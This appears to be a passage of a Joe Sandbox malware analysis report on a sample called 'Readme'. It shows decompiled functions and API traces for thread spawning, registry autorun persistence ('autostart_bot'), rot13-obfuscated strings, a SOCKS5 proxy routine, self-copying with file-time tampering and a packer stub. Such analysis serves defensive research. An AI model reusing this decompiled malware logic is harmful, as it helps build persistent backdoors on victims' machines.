				char* _v24;
				char* _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				struct _SECURITY_ATTRIBUTES* _v44;
				struct _SECURITY_ATTRIBUTES* _v48;
				intOrPtr _v52;
				struct _SECURITY_ATTRIBUTES* _v56;
				void* _t46;

				if(_a8 == 1) {
					 *0x10006094 = _a4;
					_v24 =  &_v8;
					CreateThread(0, 0, E10002EA8, 0, 0); // executed
					_v28 =  &_v8;
					CreateThread(0, 0, E10002020, 0, 0); // executed
					_v32 =  &_v8;
					CreateThread(0, 0, E100029B8, 0, 0); // executed
					_v36 =  &_v8;
					CreateThread(0, 0, E10002A60, 0, 0); // executed
					_v40 =  &_v8;
					_v44 = 0;
					_v48 = 0;
					_v52 = E10002CEF;
					_v56 = 0;
					 *(_t46 - 0xffffffffffffffd0) = 0; // executed
					CreateThread(??, ??, ??, ??, ??, ??); // executed
					return 1;
				}
				return 1;
			}

0x10002ed5
0x10002ede
0x10002ee6
0x10002f11
0x10002f1c
0x10002f47
0x10002f52
0x10002f7d
0x10002f88
0x10002fb3
0x10002fbe
0x10002fc2
0x10002fca
0x10002fd2
0x10002fda
0x10002fe2
0x10002fe9
0x00000000
0x10002ff1
0x10002ff7

APIs

CreateThread.KERNEL32 ref: 10002F11
CreateThread.KERNEL32 ref: 10002F47
CreateThread.KERNEL32 ref: 10002F7D
CreateThread.KERNEL32 ref: 10002FB3
CreateThread.KERNEL32 ref: 10002FE9

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: db1163f0d3c2b5508896f4cc3b28de1abc3cefb256ba2f04d419c1cc24af5f4c
Instruction ID: 15f36a74acdf4c5ebf03c8018694f62f40f6a90330da7fbec1f69af9675bd8bc
Opcode Fuzzy Hash: db1163f0d3c2b5508896f4cc3b28de1abc3cefb256ba2f04d419c1cc24af5f4c
Instruction Fuzzy Hash: 68217EB4409345AFE300EF24C65934FBFF4EB84785F40891DE4985B285E3BA9A489F93

Uniqueness

Uniqueness Score: -1.00%

Function 00404690 Relevance: 7.6, APIs: 5, Instructions: 50
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00404690(char* _a4, intOrPtr _a8, char _a12) {
				void* _v12;
				void* _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v44;
				long _t23;
				long _t29;
				char* _t31;
				char _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t36;

				_t31 = _a4;
				_t32 = _a12;
				_t23 = RegOpenKeyExA(0x80000002, _t31, 0, 0x20006,  &_v16); // executed
				_t35 = _t33 - 0xc;
				if(_t23 == 0) {
					L2:
					_v44 = _t32;
					L0040C310();
					_t36 = _t35 - 4;
					_v28 = _t23 + 1;
					_v32 = _t32;
					_v36 = 1;
					_v40 = 0;
					_v44 = _a8;
					 *_t36 = _v16; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t36 - 0x18)) = _v16;
					_t29 = RegCloseKey(??);
				} else {
					_t29 = RegOpenKeyExA(0x80000001, _t31, 0, 0x20006,  &_v16);
					_t35 = _t35 - 0x14;
					if(_t29 == 0) {
						goto L2;
					}
				}
				return _t29;
			}

0x00404698
0x0040469b
0x004046c0
0x004046c5
0x004046ca
0x004046fa
0x004046fa
0x004046fd
0x00404702
0x00404706
0x0040470a
0x0040470e
0x00404716
0x00404721
0x00404728
0x0040472b
0x00404736
0x00404739
0x004046cc
0x004046ee
0x004046f3
0x004046f8
0x00000000
0x00000000
0x004046f8
0x00404747

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046C0
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 004046EE
lstrlen.KERNEL32 ref: 004046FD
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CA0), ref: 0040472B
RegCloseKey.ADVAPI32 ref: 00404739

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Open$CloseValuelstrlen
String ID:
API String ID: 1812710942-0
Opcode ID: f1a880515f559899bd4e2589cbcf0413c90a96f87d2e0a2aac5912ecd81a10fa
Instruction ID: 9df0ca142f19effaadb1cf883799336216af180bd5b83d8b0879c3bebcc9d83d
Opcode Fuzzy Hash: f1a880515f559899bd4e2589cbcf0413c90a96f87d2e0a2aac5912ecd81a10fa
Instruction Fuzzy Hash: A711D4B0808315AFD700EF69C58535EBBF4FB84358F40892EEC9897241E37996488B92

Uniqueness

Uniqueness Score: -1.00%

Function 1000274E Relevance: 7.6, APIs: 5, Instructions: 50
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E1000274E(char* _a4, intOrPtr _a8, char _a12) {
				void* _v12;
				void* _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				int _v40;
				char _v44;
				long _t23;
				long _t29;
				char* _t31;
				char _t32;
				void* _t33;
				void* _t35;
				intOrPtr* _t36;

				_t31 = _a4;
				_t32 = _a12;
				_t23 = RegOpenKeyExA(0x80000002, _t31, 0, 0x20006,  &_v16);
				_t35 = _t33 - 0xc;
				if(_t23 == 0) {
					L2:
					_v44 = _t32;
					L10003570();
					_t36 = _t35 - 4;
					_v28 = _t23 + 1;
					_v32 = _t32;
					_v36 = 1;
					_v40 = 0;
					_v44 = _a8;
					 *_t36 = _v16; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t36 - 0x18)) = _v16;
					_t29 = RegCloseKey(??);
				} else {
					_t29 = RegOpenKeyExA(0x80000001, _t31, 0, 0x20006,  &_v16);
					_t35 = _t35 - 0x14;
					if(_t29 == 0) {
						goto L2;
					}
				}
				return _t29;
			}

0x10002756
0x10002759
0x1000277e
0x10002783
0x10002788
0x100027b8
0x100027b8
0x100027bb
0x100027c0
0x100027c4
0x100027c8
0x100027cc
0x100027d4
0x100027df
0x100027e6
0x100027e9
0x100027f4
0x100027f7
0x1000278a
0x100027ac
0x100027b1
0x100027b6
0x00000000
0x00000000
0x100027b6
0x10002805

APIs

RegOpenKeyExA.ADVAPI32 ref: 1000277E
RegOpenKeyExA.ADVAPI32 ref: 100027AC
lstrlen.KERNEL32 ref: 100027BB
RegSetValueExA.ADVAPI32 ref: 100027E9
RegCloseKey.ADVAPI32 ref: 100027F7

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: Open$CloseValuelstrlen
String ID:
API String ID: 1812710942-0
Opcode ID: 8076f9db43a5ac6dba544c66358812596f95421586db3cef0b3e8a3b3525caf9
Instruction ID: a357a9c538cd1e9a3b197412e68688e2a35a0a2f8c1334e24df635a0a12a9609
Opcode Fuzzy Hash: 8076f9db43a5ac6dba544c66358812596f95421586db3cef0b3e8a3b3525caf9
Instruction Fuzzy Hash: 5D11D4B4808305AFE700EF69D58535FBBF8EF44394F00882EEC9887245E375E6488B82

Uniqueness

Uniqueness Score: -1.00%

Function 100029B8 Relevance: 7.5, APIs: 5, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

rot13.SHERVANS ref: 100029D3

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 100029ED

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

autostart_bot.SHERVANS ref: 100029F2

Part of subcall function 1000237F: rot13.SHERVANS ref: 1000239A
Part of subcall function 1000237F: add_system_direcroty.SHERVANS ref: 100023B4
Part of subcall function 1000237F: rot13.SHERVANS ref: 100023CA
Part of subcall function 1000237F: rot13.SHERVANS ref: 100023E0
Part of subcall function 1000237F: RegOpenKeyExA.ADVAPI32 ref: 1000240A
Part of subcall function 1000237F: RegOpenKeyExA.ADVAPI32 ref: 1000243B
Part of subcall function 1000237F: lstrlen.KERNEL32 ref: 10002450
Part of subcall function 1000237F: RegSetValueExA.ADVAPI32 ref: 10002484
Part of subcall function 1000237F: RegCloseKey.ADVAPI32 ref: 10002495

Sleep.KERNEL32 ref: 10002A04
xsocks5.SHERVANS ref: 10002A0F

Part of subcall function 10002278: rot13.SHERVANS ref: 10002297
Part of subcall function 10002278: RegOpenKeyExA.ADVAPI32 ref: 100022C1
Part of subcall function 10002278: RegCreateKeyExA.ADVAPI32 ref: 10002312
Part of subcall function 10002278: lstrlen.KERNEL32 ref: 10002326
Part of subcall function 10002278: RegSetValueExA.ADVAPI32 ref: 10002358
Part of subcall function 10002278: RegCloseKey.ADVAPI32 ref: 10002369

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rot13$Openlstrlen$CloseValueadd_system_direcrotylstrcat$CreateDirectorySleepSystemautostart_botmemsetrot13cxsocks5
String ID:
API String ID: 1953300677-0
Opcode ID: 2f4a38cdcf28ce0af05b94f57a53248966ada0ad6c96a035229aa7fbd1f2329a
Instruction ID: e766e933713ebb2fd00dc86ca103d495f6d4a30245a9b19533916551fb43bf76
Opcode Fuzzy Hash: 2f4a38cdcf28ce0af05b94f57a53248966ada0ad6c96a035229aa7fbd1f2329a
Instruction Fuzzy Hash: 9FF0C0B4408708ABE750EF60C58565EBBB4EF00390F41896CE8C94324AE73565C89F53

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 004056F4

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

tepbcl.qyy, xrefs: 004056FC
user32.dll, xrefs: 0040574B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$PointerWrite$CloseCreateHandle$SleepTimelstrcat$CopyDirectoryModuleNameSystemlstrlenmemset
String ID: tepbcl.qyy$user32.dll
API String ID: 3363447152-446725262
Opcode ID: de95d79bbbfaf08a5f65ed3c41234fbb1e38ded78e62ee2fe25aec3cbfbd0c72
Instruction ID: 761182c28210547fcfec4951540a2b2b9fde320736257bd646c4dd079449f565
Opcode Fuzzy Hash: de95d79bbbfaf08a5f65ed3c41234fbb1e38ded78e62ee2fe25aec3cbfbd0c72
Instruction Fuzzy Hash: D401EDF08097149AC710BF65D58529EBFF4EF84758F01886EF5C827281C7B95588CB97

Uniqueness

Uniqueness Score: -1.00%

Function 10002B9C Relevance: 6.1, APIs: 4, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 10002BD6
RegOpenKeyExA.ADVAPI32 ref: 10002C04
RegQueryValueExA.ADVAPI32 ref: 10002C3F
RegCloseKey.ADVAPI32 ref: 10002C4F

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: ad9b9523f42a2e9449b14fb8281407f1dc35ffddc838d3f016af78ec4bc48b7f
Instruction ID: b21aa83fbe8ad37c53a20fbf8e9d077e9d87781769b07b01f65202f866b88801
Opcode Fuzzy Hash: ad9b9523f42a2e9449b14fb8281407f1dc35ffddc838d3f016af78ec4bc48b7f
Instruction Fuzzy Hash: 3621C8B49043099FE700EF69C58575EBBF4EF48384F40886DE89897345E374DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404748 Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
RegCloseKey.ADVAPI32 ref: 004047FA

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 788364dfb925f572286ead044381b62b9ce985eb10bd0cffd60a9e6ef2279f1d
Instruction ID: 6ed68635854e72cbad61cdb7226dc2d583aa3803ebbc72776a4c5814d6946410
Opcode Fuzzy Hash: 788364dfb925f572286ead044381b62b9ce985eb10bd0cffd60a9e6ef2279f1d
Instruction Fuzzy Hash: 962179B49043099FD700EF69D58579EBBF4BB48354F40896EE89897341E378D648CB52

Uniqueness

Uniqueness Score: -1.00%

Function 10001F57 Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 10001F90
RegOpenKeyExA.ADVAPI32 ref: 10001FBE
RegQueryValueExA.ADVAPI32 ref: 10001FF9
RegCloseKey.ADVAPI32 ref: 10002009

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 27a766e30244a2e05984018c0b4b905970e7196a3b8cd9ad0044181cec5309ac
Instruction ID: 85737ef945bcec28308b1c993999e411a83c54719117432306d8d37fab97eb4a
Opcode Fuzzy Hash: 27a766e30244a2e05984018c0b4b905970e7196a3b8cd9ad0044181cec5309ac
Instruction Fuzzy Hash: 082193B4904309AFDB00EF69C58579EBBF4EF48394F40886DE89893345E374D6488B92

Uniqueness

Uniqueness Score: -1.00%

Function 004048E2 Relevance: 6.0, APIs: 4, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00403CC4), ref: 0040490E
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403CC4), ref: 0040493C
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404974
RegCloseKey.ADVAPI32 ref: 00404982

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Open$CloseValue
String ID:
API String ID: 503941690-0
Opcode ID: 8273f13c3081dc19d4445e322601c3b2f268dd5fec60ff3e337f340c7e888451
Instruction ID: d52cf87232b6bef55ae32812e2a2d770b7a0cdaf13e0b01d7b079ce95a9ef0d7
Opcode Fuzzy Hash: 8273f13c3081dc19d4445e322601c3b2f268dd5fec60ff3e337f340c7e888451
Instruction Fuzzy Hash: 8711C2F0808305AFDB00EF69C18575EBBF4BB84358F40892EE88897241E378D6488F92

Uniqueness

Uniqueness Score: -1.00%

Function 1000B670 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 53%

			_entry_(intOrPtr _a4, char _a8, intOrPtr _a12) {
				void* _v12;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v128;
				long _t34;
				long _t35;
				long _t40;
				long _t47;
				signed int _t49;
				intOrPtr _t52;
				void* _t57;
				intOrPtr* _t58;

				if(_a8 != 1) {
					L62:
					_t58 = _t57 - 0x10;
					_t52 = _a8;
					if(_t52 == 1) {
						 *_t58 = 0x80;
						_t34 = malloc(??);
						 *0x10006000 = _t34;
						__eflags = _t34;
						if(_t34 == 0) {
							L100034A0();
							 *_t34 = 0xc;
							_t35 = 0;
						} else {
							 *_t34 = 0;
							 *0x10006010 = _t34;
							E10003110(_t34);
							E100030F0();
							goto L2;
						}
					} else {
						L2:
						_v24 = _t52;
						_v20 = _a12;
						 *_t58 = _a4; // executed
						_t40 = E10002EC6(); // executed
						_t47 = _t40;
						if(((0 | _t47 == 0x00000000) & (_t49 & 0xffffff00 | _t52 == 0x00000001)) != 0) {
							E10001000();
						}
						if(_t52 == 0) {
							if( *0x10006000 != 0) {
								E10001000();
							} else {
								_t47 = 0;
							}
						}
						_t35 = _t47;
					}
					return _t35;
				} else {
					asm("pushad");
					__esi = "oseHandle";
					__edi = __esi - 0x9015;
					_push(__edi);
					while(1) {
						__ebx =  *__esi;
						__esi = __esi - 0xfffffffc;
						asm("adc ebx, ebx");
						do {
							if(__eflags < 0) {
								__al =  *__esi;
								__esi = __esi + 1;
								 *__edi = __al;
								__edi = __edi + 1;
								__eflags = __edi;
								goto L15;
							}
							__eax = 1;
							goto L19;
							do {
								do {
									L19:
									__ebx = __ebx + __ebx;
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebx =  *__esi;
										__esi = __esi - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									asm("adc eax, eax");
									__ebx = __ebx + __ebx;
									__eflags = __ebx;
								} while (__eflags >= 0);
								if(__eflags == 0) {
									goto L23;
								}
								break;
								L23:
								__ebx =  *__esi;
								__esi = __esi - 0xfffffffc;
								__eflags = __esi;
								asm("adc ebx, ebx");
							} while (__esi >= 0);
							__ecx = 0;
							__eax = __eax - 3;
							__eflags = __eax;
							if(__eax < 0) {
								L27:
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									asm("adc ebx, ebx");
								}
								asm("adc ecx, ecx");
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
								if(__eflags == 0) {
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									asm("adc ebx, ebx");
								}
								asm("adc ecx, ecx");
								if(__eflags == 0) {
									__ecx = __ecx + 1;
									__eflags = __ecx;
									goto L33;
									do {
										do {
											L33:
											__ebx = __ebx + __ebx;
											__eflags = __ebx;
											if(__ebx == 0) {
												__ebx =  *__esi;
												__esi = __esi - 0xfffffffc;
												asm("adc ebx, ebx");
											}
											asm("adc ecx, ecx");
											__ebx = __ebx + __ebx;
											__eflags = __ebx;
										} while (__eflags >= 0);
										if(__eflags == 0) {
											goto L37;
										}
										break;
										L37:
										__ebx =  *__esi;
										__esi = __esi - 0xfffffffc;
										__eflags = __esi;
										asm("adc ebx, ebx");
									} while (__esi >= 0);
									__ecx = __ecx + 2;
									__eflags = __ecx;
								}
								__eflags = __ebp - 0xfffff300;
								asm("adc ecx, 0x1");
								__edx = __edi + __ebp;
								__eflags = __ebp - 0xfffffffc;
								if(__ebp <= 0xfffffffc) {
									do {
										__eax =  *__edx;
										__edx =  &(__edx[1]);
										 *__edi = __eax;
										__edi = __edi + 4;
										__ecx = __ecx - 4;
										__eflags = __ecx;
									} while (__ecx > 0);
									__edi = __edi + __ecx;
								} else {
									do {
										__al =  *__edx;
										__edx =  &(__edx[0]);
										 *__edi = __al;
										__edi = __edi + 1;
										__ecx = __ecx - 1;
										__eflags = __ecx;
									} while (__ecx != 0);
								}
								goto L15;
								do {
									do {
										L45:
										__al =  *__edi;
										__edi = __edi + 1;
										__al = __al - 0xe8;
										__eflags = __al - 1;
									} while (__al > 1);
									__eflags =  *__edi;
								} while ( *__edi != 0);
								__eax =  *__edi;
								__bl =  *(__edi + 4);
								__ax = __ax >> 8;
								asm("rol eax, 0x10");
								_t17 = __al;
								__al = __ah;
								__ah = _t17;
								__eax =  *__edi - __edi;
								__bl =  *(__edi + 4) - 0xe8;
								__eax = __esi +  *__edi - __edi;
								 *__edi = __esi +  *__edi - __edi;
								__eflags = __edi;
								__al = __bl;
								asm("loop 0xffffffdb");
								__edi = __esi + 0x9000;
								while(1) {
									L48:
									__eax =  *__edi;
									__eax =  *__edi;
									__eflags = __eax;
									if(__eax == 0) {
										break;
									}
									__ebx =  *(__edi + 4);
									__eax = __eax + __esi + 0xb000;
									__ebx = __esi +  *(__edi + 4);
									__edi = __edi + 8;
									__eflags = __edi;
									_t23 =  *((intOrPtr*)(__esi + 0xb078))(__eax);
									__eax = __ebp;
									__ebp = _t23;
									while(1) {
										__al =  *__edi;
										__edi = __edi + 1;
										__al = __al;
										__eflags = __al;
										if(__al == 0) {
											goto L48;
										}
										__ecx = __edi;
										__eax = __eax - 1;
										asm("repne scasb");
										__eax =  *((intOrPtr*)(__esi + 0xb07c))(__ebp, __edi);
										__eax = __eax;
										__eflags = __eax;
										if(__eax == 0) {
											asm("popad");
											__eax = 0;
											__eflags = 0;
											return 0;
										} else {
											 *__ebx = __eax;
											__ebx = __ebx + 4;
											continue;
										}
										goto L63;
									}
								}
								__edi = __edi + 4;
								__eflags = __edi;
								__ebx = __esi - 4;
								while(1) {
									__eax = 0;
									__al =  *__edi;
									__edi = __edi + 1;
									__eax = 0;
									__eflags = 0;
									if(0 == 0) {
										break;
									}
									__eflags = __al - 0xef;
									if(__al > 0xef) {
										__al = __al & 0x0000000f;
										__eax = 0 << 0x10;
										__ax =  *__edi;
										__edi = __edi + 2;
									}
									__ebx = __ebx + __eax;
									__eax =  *__ebx;
									_t26 = __al;
									__al = __ah;
									__ah = _t26;
									asm("rol eax, 0x10");
									_t27 = __al;
									__al = _t26;
									__ah = _t27;
									__eax = __esi +  *__ebx;
									 *__ebx = __esi +  *__ebx;
								}
								__ebp =  *(__esi + 0xb080);
								__edi = __esi - 0x1000;
								__ebx = 0x1000;
								_push(0);
								__eax = VirtualProtect(__edi, 0x1000, 4, __esp); // executed
								__eax = __edi + 0x19f;
								 *__eax =  *__eax & 0x0000007f;
								_t31 = __eax + 0x28;
